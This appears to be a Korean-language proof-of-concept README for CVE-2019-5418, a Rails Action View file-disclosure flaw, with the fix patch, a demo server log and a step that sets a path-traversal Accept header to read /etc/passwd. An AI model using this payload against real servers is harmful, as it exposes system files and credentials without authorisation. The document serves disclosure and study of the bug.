CVE-2019-5418 - Rails에서의 파일 내용 노출

수정: 이 CVE는 원격 코드 실행(Remote Code Execution)으로 이어질 수 있습니다. 자세한 정보: https://github.com/mpgn/Rails-doubletap-RCE

Action View에 파일 내용 노출 취약점이 존재할 수 있습니다. 특수하게 조작된 accept 헤더와 render file: 호출을 함께 사용하면 대상 서버의 임의의 파일이 렌더링되어 파일 내용이 노출될 수 있습니다.

이 영향은 지정된 accept 형식 없이 파일 내용을 렌더링하는 render 호출로 제한됩니다. 영향을 받는 컨트롤러 코드는 다음과 같은 형태입니다:

GitHub의 John Hawthorn이(가) 발견

기술적 분석:

https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/

보안 권고:

https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q

Action View 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1에서 수정됨

From f4c70c2222180b8d9d924f00af0c7fd632e26715 Mon Sep 17 00:00:00 2001
From: John Hawthorn <[email protected]>
Date: Mon, 4 Mar 2019 18:24:51 -0800
Subject: [PATCH] Only accept formats from registered mime types

[CVE-2019-5418]
[CVE-2019-5419]
---
 .../lib/action_dispatch/http/mime_negotiation.rb   |  5 +++++
 actionpack/test/controller/mime/respond_to_test.rb | 10 ++++++----
 .../new_base/content_negotiation_test.rb           | 14 ++++++++++++--
 3 files changed, 23 insertions(+), 6 deletions(-)

diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
index 498b1e669576..4e81ba12a58b 100644
--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -79,6 +79,11 @@ def formats
           else
             [Mime[:html]]
           end
+
+          v = v.select do |format|
+            format.symbol || format.ref == "*/*"
+          end
+
           set_header k, v
         end
       end

개념 증명

demo 폴더 안에서 취약한 애플리케이션을 실행합니다:

foo@bar:~$ cd demo/
foo@bar:~$ bundle install
[...]
foo@bar:~$ rails s                                                                                                                12:59:54
=> Booting Puma
=> Rails 5.2.1 application starting in development 
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 3.12.0 (ruby 2.5.1-p57), codename: Llamas in Pajamas
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://0.0.0.0:3000
Use Ctrl-C to stop
Started GET "/" for 127.0.0.1 at 2019-03-16 13:00:00 +0100
Processing by Rails::WelcomeController#index as HTML
  Rendering /var/lib/gems/2.5.0/gems/railties-5.2.1/lib/rails/templates/rails/welcome/index.html.erb
  Rendered /var/lib/gems/2.5.0/gems/railties-5.2.1/lib/rails/templates/rails/welcome/index.html.erb (1.4ms)
Completed 200 OK in 8ms (Views: 2.7ms | ActiveRecord: 0.0ms)


Started GET "/chybeta" for 127.0.0.1 at 2019-03-16 13:00:03 +0100
Processing by ChybetaController#index as HTML
  Rendering README.md within layouts/application
  Rendered README.md within layouts/application (0.2ms)
Completed 200 OK in 122ms (Views: 121.1ms | ActiveRecord: 0.0ms)

/chybeta 경로로 이동합니다.
burp로 요청을 인터셉트한 후 Accept 헤더를 Accept: ../../../../../../../../../../etc/passwd{{로 교체합니다.

CVE-2019-5418

인기

CVE-2019-5418 - Rails에서의 파일 내용 노출

개념 증명